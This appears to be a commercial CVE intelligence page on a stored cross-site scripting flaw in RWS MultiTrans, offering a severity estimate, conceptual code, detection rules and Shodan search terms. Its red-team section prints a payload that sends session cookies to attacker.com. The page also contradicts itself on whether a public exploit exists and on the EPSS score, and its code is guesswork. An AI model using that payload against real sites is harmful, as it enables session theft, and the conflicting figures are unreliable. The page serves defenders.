☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-43024

CVE-2024-43024 Cross-Site Scripting in Rws
📅 PUBLISHED: 2024-09-18 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 7.0.23324.2
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-43024 identifies multiple stored cross-site scripting (XSS) vulnerabilities in RWS MultiTrans v7.0.23324.2 and earlier. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, data theft, or defacement. The vulnerability is unpatched, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for affected deployments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise translation management system (RWS MultiTrans). Organizations should verify their software supply chain for any use of this product and apply vendor updates when available.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): Low (L) – requires authenticated user with ability to submit content
  • User Interaction (UI): Required (R) – victim must view the malicious content
  • Scope (S): Changed (C) – impacts other components
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but stored XSS can lead to persistent compromise.

Deep Dive & Mechanics

Stored XSS occurs when user-supplied input is not properly sanitized before being stored in the application's database and later rendered to other users. In RWS MultiTrans, the vulnerability likely exists in fields such as project names, translation notes, or user profile fields. An attacker with low-level access can inject malicious JavaScript or HTML that executes in the context of other users' browsers.

The attack flow:

  1. Attacker logs in and navigates to a vulnerable input field.
  2. Attacker submits a payload like <script>alert('XSS')</script>.
  3. The payload is stored in the database without sanitization.
  4. When another user views the affected page, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Server-side code that stores user input directly
app.post('/saveProject', (req, res) => {
  const projectName = req.body.projectName;
  // No sanitization
  db.save({ name: projectName });
  res.send('Saved');
});

// Server-side code that renders stored data without escaping
app.get('/viewProject', (req, res) => {
  const project = db.get(req.query.id);
  res.send(`<h1>${project.name}</h1>`);
});

Patched Code (Conceptual):

// Use a sanitization library
const sanitizeHtml = require('sanitize-html');

app.post('/saveProject', (req, res) => {
  const projectName = sanitizeHtml(req.body.projectName, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.save({ name: projectName });
  res.send('Saved');
});

// Or use template engine with auto-escaping
app.get('/viewProject', (req, res) => {
  const project = db.get(req.query.id);
  res.render('project', { name: project.name }); // EJS auto-escapes
});

Exploitation & Lab Setup

Red Team

Setup:

  1. Deploy RWS MultiTrans v7.0.23324.2 in a lab environment.
  2. Create a low-privileged user account.
  3. Identify vulnerable input fields (e.g., project name, translation notes).

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

  1. Log in as attacker.
  2. Navigate to a page with a vulnerable input field.
  3. Submit the payload.
  4. Wait for an admin or other user to view the page.
  5. Receive the stolen cookie on your attacker server.

Blue Team

Detection:

  • Monitor for unusual script tags in user-submitted content.
  • Use web application firewalls (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Apply input validation and output encoding.
  • Use a security scanner to identify vulnerable fields.
  • Restrict user permissions to limit exposure.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from the MultiTrans server.
  • Logs: Entries containing <script>, onerror=, javascript: in user input fields.
  • File System: Modified database entries with embedded JavaScript.
  • Memory: Injected scripts in browser memory for affected users.

Detection Engineering

YARA Rule

rule CVE_2024_43024_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting RWS MultiTrans"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43024"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in RWS MultiTrans
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in RWS MultiTrans logs
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: rws_multitrans
detection:
    selection:
        - field: "user_input"
          pattern: "<script"
        - field: "user_input"
          pattern: "onerror="
        - field: "user_input"
          pattern: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in translation notes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43024 - Stored XSS Payload in RWS MultiTrans"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable any vulnerable input fields or apply a WAF rule to block XSS patterns.
  2. Short-term: Contact RWS for a patch or upgrade to a non-vulnerable version.
  3. Long-term: Implement input validation and output encoding across the application. Use a Content Security Policy (CSP) to mitigate XSS impact.
  4. Monitoring: Enable detailed logging of user input and review for suspicious patterns.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

MultiTrans
RWS MultiTrans
MultiTrans v7

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-43024/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.